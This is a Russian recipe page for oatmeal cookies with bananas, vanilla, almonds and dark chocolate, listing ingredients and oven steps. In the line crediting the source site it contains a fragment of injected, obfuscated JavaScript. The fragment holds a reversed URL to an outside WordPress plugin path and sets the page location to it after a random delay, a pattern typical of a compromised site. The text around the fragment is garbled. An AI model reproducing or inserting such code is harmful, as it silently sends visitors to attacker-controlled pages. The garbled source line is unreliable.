Рецепт дня: овсяное печенье с ванилью

Ароматное свежеиспечённое овсяное печенье с шоколадом и ванилью может стать отличным завтраком или предтренировочным снэком. Надо только приготовить его — а это не так уж и сложно. С нашим рецептом-то уж точно.

Хотите научиться готовить полезное овсяное печенье? Тогда запомните: замените большое количество пшеничной муки овсянкой и молотым миндалём, вместо сахара положите бананы и горький шоколад. И не забудьте про ваниль, кокосы и корицу! Они-то и сделают ваше печенье намного вкуснее, нежнее и ароматнее.

Полезное овсяное печенье

Фото: telegraph.co.uk

Рецепт дня: овсяное печенье с ванилью

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

40 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

не указано

КАЛОРИЙНОСТЬ:

не указана

0 calories

Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru

PT1H

Ингредиенты

спелые бананы

3 шт.

ванильный стручок

1/3 шт.

овсяные хлопья

2 стакана

миндаль

1/2 стакана

кокосовая стружка

1/3 стакана

корица

1/2 ч. л.

соль

1/2 ч. л.

разрыхлитель

1 ч. л.

горький шоколад

50 г

кокосовое или оливковое масло

1/4 стакана

изюм

2 ст. л.

Разогрейте духовку до 170 градусов.
В большую миску положите очищенные бананы и раздавите их вилкой. Добавьте мякоть ванильного стручка (чтобы её извлечь, разрежьте стручок вдоль пополам и соскребите мякоть острым кончиком ножа) и масло. Перемешайте и отставьте в сторонку.
Залейте изюм кипятком, оставьте на десять минут.
Измельчите орехи в кухонном процессоре, кофемолке или с помощью ножа. Должна получиться смесь, похожая на муку.
Смешайте хлопья, миндальную муку, кокосовую стружку, корицу, соль, изюм и разрыхлитель. Пересыпьте сухие ингредиенты к бананам и маслу, всё хорошенько перемешайте.
Мелко нарубите шоколад и добавьте в тесто, перемешайте его ещё раз.
На противень положите бумагу для выпечки и выложите сформированное из теста печенье. Поставьте противень в духовку и выпекайте 12—14 минут. Остудите и ешьте с удовольствием!